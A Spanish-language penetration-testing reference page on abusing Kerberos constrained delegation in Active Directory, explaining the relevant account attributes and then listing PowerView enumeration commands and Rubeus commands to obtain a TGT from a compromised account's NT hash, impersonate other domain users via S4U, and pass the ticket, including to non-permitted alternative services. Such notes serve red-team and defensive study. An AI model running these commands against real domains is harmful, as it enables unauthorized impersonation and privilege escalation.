Constrained delegation

Descripción

La delegación es el acto de dar a alguien autoridad o responsabilidad para hacer algo en nombre de otra persona. En Active Directory, la delegación es una característica que permite que cuentas específicas (usuario o computadora) se hagan pasar por otras cuentas para acceder a servicios particulares en la red.

Constrained delegation es un privilegio que los administradores de dominio pueden asignar a una computadora o un usuario del dominio. Cuando se establece en una cuenta ocurre que:

  • El atributo UserAccountControl para el objeto se actualiza con el indicador TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION.

  • El atributo msDS-AllowedToDelegateTo se completa con los servicios específicos (SPN) que se pueden acceder (lista de delegación permitida) en nombre de otro usuario.

Al comprometer una cuenta de usuario con privilegios de constrained delegation es posible solicitar TGS (Ticket Granting Service) en nombre de otros usuarios del dominio.

Windows

1) Obtener usuarios y servidores con privilegios de constrained delegation.

# PowerView
# enumeración de usuarios
Get-DomainUser –TrustedToAuth
Get-DomainUser –TrustedToAuth | Select SamAccountName, msDS-AllowedToDelegateTo, UserAccountControl | fl
# enumeración de servidores
Get-DomainComputer –TrustedToAuth
Get-DomainComputer –TrustedToAuth | Select SamAccountName, msDS-AllowedToDelegateTo, UserAccountControl | fl

2) Obtención de TGT (Ticket Granting Ticket) de cuenta comprometida.

.\Rubeus.exe asktgt /user:<user> /domain:<ACME.LOCAL> /rc4:<NT-hash-user> /outfile:tgt.kirbi

3) Obtención de TGS (Ticket Granting Service) para un servicio específico permitido en nombre de otro usuario del dominio (suplantación) y realización de Pass the Ticket (PtT).

.\Rubeus.exe s4u /ticket:<tgt.kirbi> /impersonateuser:<impersonate-user> /msdsspn:"<service>" /ptt

4) Obtención de TGS (Ticket Granting Service) para un servicio específico alternativo (no permitido) en nombre de otro usuario del dominio (suplantación) y realización de Pass the Ticket (PtT).

.\Rubeus.exe s4u /ticket:<tgt.kirbi> /impersonateuser:<impersonate-user> /msdsspn:"<service>" /altservice:<alternative-service> /ptt

Última actualización